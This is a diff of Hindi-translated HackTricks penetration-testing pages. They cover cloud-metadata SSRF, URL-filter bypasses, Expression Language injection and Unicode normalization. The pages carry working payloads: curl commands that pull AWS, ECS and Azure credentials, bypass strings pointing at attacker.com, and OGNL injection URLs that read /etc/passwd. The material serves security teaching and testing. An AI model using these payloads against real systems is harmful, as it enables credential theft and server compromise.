{% hint style="danger" %}
|
||||
ध्यान दें कि यदि EC2 उदाहरण IMDSv2 को लागू कर रहा है, [**दस्तावेजों के अनुसार**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT अनुरोध का उत्तर** में **हॉप लिमिट 1** होगा, जिससे EC2 उदाहरण के अंदर एक कंटेनर से EC2 मेटाडेटा को एक्सेस करना असंभव हो जाएगा।
|
||||
ध्यान दें कि यदि EC2 उदाहरण IMDSv2 को लागू कर रहा है, [**दस्तावेजों के अनुसार**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT अनुरोध का उत्तर** में **hop limit 1** होगा, जिससे EC2 उदाहरण के अंदर एक कंटेनर से EC2 metadata तक पहुँच पाना असंभव हो जाएगा।
|
||||
|
||||
इसके अलावा, **IMDSv2** भी **`X-Forwarded-For` हेडर शामिल करने वाले टोकन को प्राप्त करने के लिए अनुरोधों को ब्लॉक करेगा**। यह गलत कॉन्फ़िगर किए गए रिवर्स प्रॉक्सी को इसे एक्सेस करने से रोकने के लिए है।
|
||||
{% endhint %}
|
||||
|
||||
आप [दस्तावेजों में मेटाडेटा एंडपॉइंट के बारे में जानकारी](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html) पा सकते हैं। निम्नलिखित स्क्रिप्ट से इसमें से कुछ दिलचस्प जानकारी प्राप्त की जाती है:
|
||||
आप [metadata endpoints के बारे में जानकारी दस्तावेजों में](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html) पा सकते हैं। निम्नलिखित स्क्रिप्ट से इसमें से कुछ दिलचस्प जानकारी प्राप्त की जाती है:
|
||||
```bash
|
||||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||
|
@ -116,11 +108,11 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
|||
|
||||
### AWS ECS (कंटेनर सेवा) क्रेडेंशियल्स में SSRF
|
||||
|
||||
**ECS**, EC2 इंस्टेंस का एक तार्किक समूह है जिस पर आप एक एप्लिकेशन चला सकते हैं बिना अपने स्वयं के क्लस्टर प्रबंधन अवसंरचना को स्केल किए क्योंकि ECS आपके लिए इसका प्रबंधन करता है। यदि आप **ECS** में चल रही सेवा को समझौता करने में सफल होते हैं, तो **मेटाडेटा एंडपॉइंट्स बदल जाते हैं**।
|
||||
**ECS**, EC2 इंस्टेंस का एक तार्किक समूह है जिस पर आप एक एप्लिकेशन चला सकते हैं बिना अपने क्लस्टर प्रबंधन अवसंरचना को स्केल किए क्योंकि ECS यह आपके लिए प्रबंधित करता है। यदि आप **ECS** में चल रही सेवा को समझौता करने में सफल होते हैं, तो **मेटाडेटा एंडपॉइंट्स बदल जाते हैं**।
|
||||
|
||||
यदि आप _**http://169.254.170.2/v2/credentials/\<GUID>**_ पर पहुँचते हैं, तो आपको ECS मशीन के क्रेडेंशियल्स मिलेंगे। लेकिन पहले आपको **\<GUID>** ढूंढना होगा। \<GUID> खोजने के लिए आपको मशीन के अंदर **environ** वेरिएबल **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** को पढ़ना होगा।\
|
||||
यदि आप _**http://169.254.170.2/v2/credentials/\<GUID>**_ पर पहुँचते हैं, तो आप ECS मशीन के क्रेडेंशियल्स पाएंगे। लेकिन पहले आपको **\<GUID>** ढूंढना होगा। \<GUID> खोजने के लिए आपको मशीन के अंदर **environ** वेरिएबल **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** को पढ़ना होगा।\
|
||||
आप इसे **Path Traversal** का उपयोग करके `file:///proc/self/environ` को भेदकर पढ़ने में सक्षम हो सकते हैं।\
|
||||
उल्लेखित http पता आपको **AccessKey, SecretKey और token** देना चाहिए।
|
||||
उल्लेखित http पता आपको **AccessKey, SecretKey और token** देगा।
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
|
@ -380,7 +372,7 @@ curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&res
|
|||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="PS" %}
|
||||
{% tab title="पीएस" %}
|
||||
```bash
|
||||
# Powershell
|
||||
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
|
||||
|
@ -506,7 +498,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
विभिन्न प्लेटफार्मों की मेटाडेटा सेवाओं के लिए दस्तावेज़ीकरण नीचे उल्लिखित है, जो उन तरीकों को उजागर करता है जिनके माध्यम से उदाहरणों के लिए कॉन्फ़िगरेशन और रनटाइम जानकारी तक पहुंचा जा सकता है। प्रत्येक प्लेटफ़ॉर्म अपनी मेटाडेटा सेवाओं तक पहुँचने के लिए अद्वितीय एंडपॉइंट प्रदान करता है।
|
||||
विभिन्न प्लेटफार्मों की मेटाडेटा सेवाओं के लिए दस्तावेज़ीकरण नीचे दिया गया है, जो उन तरीकों को उजागर करता है जिनके माध्यम से उदाहरणों के लिए कॉन्फ़िगरेशन और रनटाइम जानकारी तक पहुंचा जा सकता है। प्रत्येक प्लेटफ़ॉर्म अपनी मेटाडेटा सेवाओं तक पहुँचने के लिए अद्वितीय एंडपॉइंट प्रदान करता है।
|
||||
|
||||
## Packetcloud
|
||||
|
||||
|
@ -564,12 +556,6 @@ Rancher का मेटाडेटा इस प्रकार पहुँ
|
|||
|
||||
* `curl http://rancher-metadata/<version>/<path>`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -579,7 +565,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### लोकलहोस्ट
|
||||
```bash
|
||||
# Localhost
|
||||
|
@ -94,7 +86,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
|
|||
```
|
||||
![](<../../.gitbook/assets/image (776).png>)
|
||||
|
||||
**Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) आईपी फ़ॉर्मेटिंग बायपास को लागू करता है।
|
||||
The **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) आईपी फ़ॉर्मेटिंग बायपास को लागू करता है।
|
||||
|
||||
### डोमेन पार्सर
|
||||
```bash
|
||||
|
@ -162,7 +154,7 @@ next={domain}&next=attacker.com
|
|||
```
|
||||
### Paths and Extensions Bypass
|
||||
|
||||
यदि आपसे अपेक्षित है कि URL एक पथ या एक एक्सटेंशन में समाप्त होना चाहिए, या एक पथ होना चाहिए, तो आप निम्नलिखित बायपास में से एक प्रयास कर सकते हैं:
|
||||
यदि आपसे यह आवश्यक है कि URL एक पथ या एक एक्सटेंशन में समाप्त होना चाहिए, या एक पथ होना चाहिए, तो आप निम्नलिखित बायपास में से एक प्रयास कर सकते हैं:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
|
@ -201,7 +193,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|||
|
||||
### Blackslash-trick
|
||||
|
||||
The _backslash-trick_ एक अंतर का लाभ उठाता है जो [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) और [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) के बीच है। जबकि RFC3986 URI के लिए एक सामान्य ढांचा है, WHATWG वेब URLs के लिए विशिष्ट है और इसे आधुनिक ब्राउज़रों द्वारा अपनाया गया है। मुख्य अंतर WHATWG मानक की बैकस्लैश (`\`) को फॉरवर्ड स्लैश (`/`) के समकक्ष मान्यता में है, जो URLs के पार्सिंग के तरीके को प्रभावित करता है, विशेष रूप से एक URL में होस्टनेम से पथ में संक्रमण को चिह्नित करता है।
|
||||
The _backslash-trick_ एक अंतर का लाभ उठाता है जो [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) और [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) के बीच है। जबकि RFC3986 URIs के लिए एक सामान्य ढांचा है, WHATWG वेब URLs के लिए विशिष्ट है और आधुनिक ब्राउज़रों द्वारा अपनाया गया है। मुख्य अंतर WHATWG मानक की बैकस्लैश (`\`) को फॉरवर्ड स्लैश (`/`) के समकक्ष मान्यता में है, जो यह प्रभावित करता है कि URLs कैसे पार्स किए जाते हैं, विशेष रूप से एक URL में होस्टनेम से पथ में संक्रमण को चिह्नित करना।
|
||||
|
||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||
|
||||
|
@ -216,11 +208,6 @@ image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-
|
|||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,37 +15,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **फ्री** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि कोई कंपनी या उसके ग्राहक **समझौता** किए गए हैं या नहीं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य खाता अधिग्रहण और रैंसमवेयर हमलों से लड़ना है जो जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप होते हैं।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और उनके इंजन को **फ्री** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Bsic Info
|
||||
|
||||
Expression Language (EL) JavaEE में प्रस्तुति परत (जैसे, वेब पृष्ठ) और एप्लिकेशन लॉजिक (जैसे, प्रबंधित बीन) के बीच पुल बनाने में महत्वपूर्ण है, जिससे उनकी बातचीत संभव होती है। इसका मुख्य रूप से उपयोग किया जाता है:
|
||||
Expression Language (EL) JavaEE में प्रस्तुति परत (जैसे, वेब पृष्ठ) और अनुप्रयोग लॉजिक (जैसे, प्रबंधित बीन्स) के बीच पुल बनाने में महत्वपूर्ण है, जिससे उनकी बातचीत संभव होती है। इसका मुख्य रूप से उपयोग किया जाता है:
|
||||
|
||||
* **JavaServer Faces (JSF)**: UI घटकों को बैकएंड डेटा/क्रियाओं से जोड़ने के लिए।
|
||||
* **JavaServer Pages (JSP)**: JSP पृष्ठों के भीतर डेटा पहुंच और हेरफेर के लिए।
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: प्रबंधित बीन के साथ वेब परत की बातचीत को सुविधाजनक बनाने के लिए।
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: प्रबंधित बीन्स के साथ वेब परत की बातचीत को सुविधाजनक बनाने के लिए।
|
||||
|
||||
**उपयोग संदर्भ**:
|
||||
|
||||
* **Spring Framework**: सुरक्षा और डेटा जैसे विभिन्न मॉड्यूल में लागू किया गया।
|
||||
* **सामान्य उपयोग**: JVM-आधारित भाषाओं जैसे Java, Kotlin, और Scala में डेवलपर्स द्वारा SpEL API के माध्यम से।
|
||||
|
||||
EL JavaEE प्रौद्योगिकियों, स्वतंत्र वातावरणों में मौजूद है, और इसे `.jsp` या `.jsf` फ़ाइल एक्सटेंशन, स्टैक त्रुटियों, और हेडर में "Servlet" जैसे शब्दों के माध्यम से पहचाना जा सकता है। हालाँकि, इसकी विशेषताएँ और कुछ वर्णों का उपयोग संस्करण-निर्भर हो सकता है।
|
||||
EL JavaEE प्रौद्योगिकियों, स्वतंत्र वातावरणों में मौजूद है, और `.jsp` या `.jsf` फ़ाइल एक्सटेंशन, स्टैक त्रुटियों, और हेडर में "Servlet" जैसे शब्दों के माध्यम से पहचाना जा सकता है। हालाँकि, इसकी विशेषताएँ और कुछ वर्णों का उपयोग संस्करण-निर्भर हो सकता है।
|
||||
|
||||
{% hint style="info" %}
|
||||
**EL संस्करण** के आधार पर कुछ **विशेषताएँ** **चालू** या **बंद** हो सकती हैं और आमतौर पर कुछ **वर्ण** **अनुमति नहीं दी जा सकती** हैं।
|
||||
**EL संस्करण** के आधार पर कुछ **विशेषताएँ** **On** या **Off** हो सकती हैं और आमतौर पर कुछ **वर्ण** **अस्वीकृत** हो सकते हैं।
|
||||
{% endhint %}
|
||||
|
||||
## Basic Example
|
||||
|
@ -84,7 +70,7 @@ System.out.println(result);
|
|||
```java
|
||||
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
|
||||
```
|
||||
ऐप्लिकेशन को चलाएँ:
|
||||
ऐप्लिकेशन को इस तरह चलाएँ:
|
||||
```java
|
||||
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
|
||||
Enter a String to evaluate:
|
||||
|
@ -125,7 +111,7 @@ Enter a String to evaluate:
|
|||
```
|
||||
### Detection
|
||||
|
||||
* बर्प डिटेक्शन
|
||||
* Burp detection
|
||||
```bash
|
||||
gk6q${"zkz".toString().replace("k", "x")}doap2
|
||||
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
|
||||
|
@ -140,7 +126,7 @@ https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.Og
|
|||
#Blind detection vector (sleep during 10 seconds)
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
|
||||
```
|
||||
### रिमोट फ़ाइल समावेश
|
||||
### रिमोट फ़ाइल समावेशन
|
||||
```bash
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
|
||||
```
|
||||
|
@ -243,21 +229,9 @@ Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://
|
|||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
|
||||
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **फ्री** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **चुराने वाले मालवेयर** द्वारा **समझौता** किए गए हैं।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **फ्री** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,40 +15,26 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **समझौता** किया गया है **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **फ्री** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**यह एक सारांश है:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). आगे की जानकारी के लिए देखें (छवियाँ वहाँ से ली गई हैं)।
|
||||
|
||||
## Understanding Unicode and Normalization
|
||||
|
||||
Unicode normalization एक प्रक्रिया है जो सुनिश्चित करती है कि वर्णों के विभिन्न बाइनरी प्रतिनिधित्व को एक ही बाइनरी मान में मानकीकृत किया जाए। यह प्रक्रिया प्रोग्रामिंग और डेटा प्रोसेसिंग में स्ट्रिंग्स के साथ काम करने में महत्वपूर्ण है। Unicode मानक वर्ण समकक्षता के दो प्रकारों को परिभाषित करता है:
|
||||
Unicode normalization एक प्रक्रिया है जो सुनिश्चित करती है कि वर्णों के विभिन्न बाइनरी प्रतिनिधित्व को एक ही बाइनरी मान में मानकीकृत किया जाए। यह प्रक्रिया प्रोग्रामिंग और डेटा प्रोसेसिंग में स्ट्रिंग्स के साथ काम करते समय महत्वपूर्ण है। Unicode मानक दो प्रकार की वर्ण समकक्षता को परिभाषित करता है:
|
||||
|
||||
1. **Canonical Equivalence**: वर्णों को कैनोनिकली समकक्ष माना जाता है यदि उनका प्रिंट या प्रदर्शित होने पर एक ही रूप और अर्थ होता है।
|
||||
1. **Canonical Equivalence**: वर्णों को कैनोनिकल रूप से समकक्ष माना जाता है यदि उनका प्रिंट या प्रदर्शित होने पर एक ही रूप और अर्थ होता है।
|
||||
2. **Compatibility Equivalence**: समकक्षता का एक कमजोर रूप जहाँ वर्ण एक ही अमूर्त वर्ण का प्रतिनिधित्व कर सकते हैं लेकिन अलग-अलग तरीके से प्रदर्शित हो सकते हैं।
|
||||
|
||||
**चार Unicode normalization एल्गोरिदम** हैं: NFC, NFD, NFKC, और NFKD। प्रत्येक एल्गोरिदम कैनोनिकल और संगतता मानकीकरण तकनीकों का उपयोग अलग-अलग तरीके से करता है। अधिक गहन समझ के लिए, आप इन तकनीकों का अन्वेषण कर सकते हैं [Unicode.org](https://unicode.org/) पर।
|
||||
|
||||
### Key Points on Unicode Encoding
|
||||
|
||||
Unicode एन्कोडिंग को समझना महत्वपूर्ण है, विशेष रूप से विभिन्न सिस्टमों या भाषाओं के बीच इंटरऑपरेबिलिटी मुद्दों से निपटने के समय। यहाँ मुख्य बिंदु हैं:
|
||||
Unicode एन्कोडिंग को समझना महत्वपूर्ण है, विशेष रूप से विभिन्न प्रणालियों या भाषाओं के बीच इंटरऑपरेबिलिटी मुद्दों से निपटने के समय। यहाँ मुख्य बिंदु हैं:
|
||||
|
||||
* **कोड पॉइंट और वर्ण**: Unicode में, प्रत्येक वर्ण या प्रतीक को एक संख्यात्मक मान सौंपा जाता है जिसे "कोड पॉइंट" कहा जाता है।
|
||||
* **बाइट्स प्रतिनिधित्व**: कोड पॉइंट (या वर्ण) को मेमोरी में एक या अधिक बाइट्स द्वारा दर्शाया जाता है। उदाहरण के लिए, LATIN-1 वर्ण (जो अंग्रेजी बोलने वाले देशों में सामान्य हैं) को एक बाइट का उपयोग करके दर्शाया जाता है। हालाँकि, जिन भाषाओं में वर्णों का एक बड़ा सेट होता है, उन्हें प्रतिनिधित्व के लिए अधिक बाइट्स की आवश्यकता होती है।
|
||||
* **बाइट्स प्रतिनिधित्व**: कोड पॉइंट (या वर्ण) को मेमोरी में एक या अधिक बाइट्स द्वारा दर्शाया जाता है। उदाहरण के लिए, LATIN-1 वर्ण (अंग्रेजी बोलने वाले देशों में सामान्य) को एक बाइट का उपयोग करके दर्शाया जाता है। हालाँकि, जिन भाषाओं में वर्णों का बड़ा सेट होता है, उन्हें प्रतिनिधित्व के लिए अधिक बाइट्स की आवश्यकता होती है।
|
||||
* **एन्कोडिंग**: यह शब्द वर्णों को बाइट्स की एक श्रृंखला में परिवर्तित करने के तरीके को संदर्भित करता है। UTF-8 एक प्रचलित एन्कोडिंग मानक है जहाँ ASCII वर्णों को एक बाइट का उपयोग करके दर्शाया जाता है, और अन्य वर्णों के लिए चार बाइट्स तक।
|
||||
* **डेटा प्रोसेसिंग**: डेटा प्रोसेसिंग करने वाले सिस्टम को बाइट स्ट्रीम को वर्णों में सही ढंग से परिवर्तित करने के लिए उपयोग की जाने वाली एन्कोडिंग के बारे में जागरूक होना चाहिए।
|
||||
* **UTF के रूप**: UTF-8 के अलावा, अन्य एन्कोडिंग मानक हैं जैसे UTF-16 (जो न्यूनतम 2 बाइट्स का उपयोग करता है, अधिकतम 4) और UTF-32 (जो सभी वर्णों के लिए 4 बाइट्स का उपयोग करता है)।
|
||||
* **डेटा प्रोसेसिंग**: डेटा प्रोसेसिंग करने वाली प्रणालियों को एन्कोडिंग के बारे में जागरूक होना चाहिए ताकि बाइट स्ट्रीम को सही तरीके से वर्णों में परिवर्तित किया जा सके।
|
||||
* **UTF के रूप**: UTF-8 के अलावा, अन्य एन्कोडिंग मानक हैं जैसे UTF-16 (कम से कम 2 बाइट्स का उपयोग करते हुए, 4 तक) और UTF-32 (सभी वर्णों के लिए 4 बाइट्स का उपयोग करते हुए)।
|
||||
|
||||
इन अवधारणाओं को समझना महत्वपूर्ण है ताकि Unicode की जटिलता और इसके विभिन्न एन्कोडिंग विधियों से उत्पन्न संभावित मुद्दों को प्रभावी ढंग से संभाला और कम किया जा सके।
|
||||
|
||||
|
@ -60,7 +46,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
|||
|
||||
### खोज
|
||||
|
||||
यदि आप एक वेब ऐप के अंदर एक मान पा सकते हैं जो वापस इको किया जा रहा है, तो आप **‘KELVIN SIGN’ (U+0212A)** भेजने की कोशिश कर सकते हैं जो **"K"** में **सामान्यीकृत** होता है (आप इसे `%e2%84%aa` के रूप में भेज सकते हैं)। **यदि "K" वापस इको किया जाता है**, तो कुछ प्रकार की **Unicode सामान्यीकरण** की प्रक्रिया की जा रही है।
|
||||
यदि आप एक वेब ऐप के अंदर एक ऐसा मान ढूंढ सकते हैं जो वापस इको हो रहा है, तो आप **‘KELVIN SIGN’ (U+0212A)** भेजने की कोशिश कर सकते हैं जो **"K"** में **सामान्यीकृत** होता है (आप इसे `%e2%84%aa` के रूप में भेज सकते हैं)। **यदि "K" वापस इको होता है**, तो कुछ प्रकार की **Unicode सामान्यीकरण** की प्रक्रिया की जा रही है।
|
||||
|
||||
अन्य **उदाहरण**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` के बाद **unicode** `Leonishan` है।
|
||||
|
||||
|
@ -68,7 +54,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
|||
|
||||
### **SQL Injection फ़िल्टर बायपास**
|
||||
|
||||
कल्पना करें कि एक वेब पृष्ठ उपयोगकर्ता इनपुट के साथ SQL क्वेरी बनाने के लिए वर्ण `'` का उपयोग कर रहा है। यह वेब, एक सुरक्षा उपाय के रूप में, उपयोगकर्ता इनपुट से वर्ण **`'`** के सभी उदाहरणों को **हटाता है**, लेकिन **उस हटाने के बाद** और **क्वेरी बनाने से पहले**, यह उपयोगकर्ता के इनपुट को **Unicode** का उपयोग करके **सामान्यीकृत** करता है।
|
||||
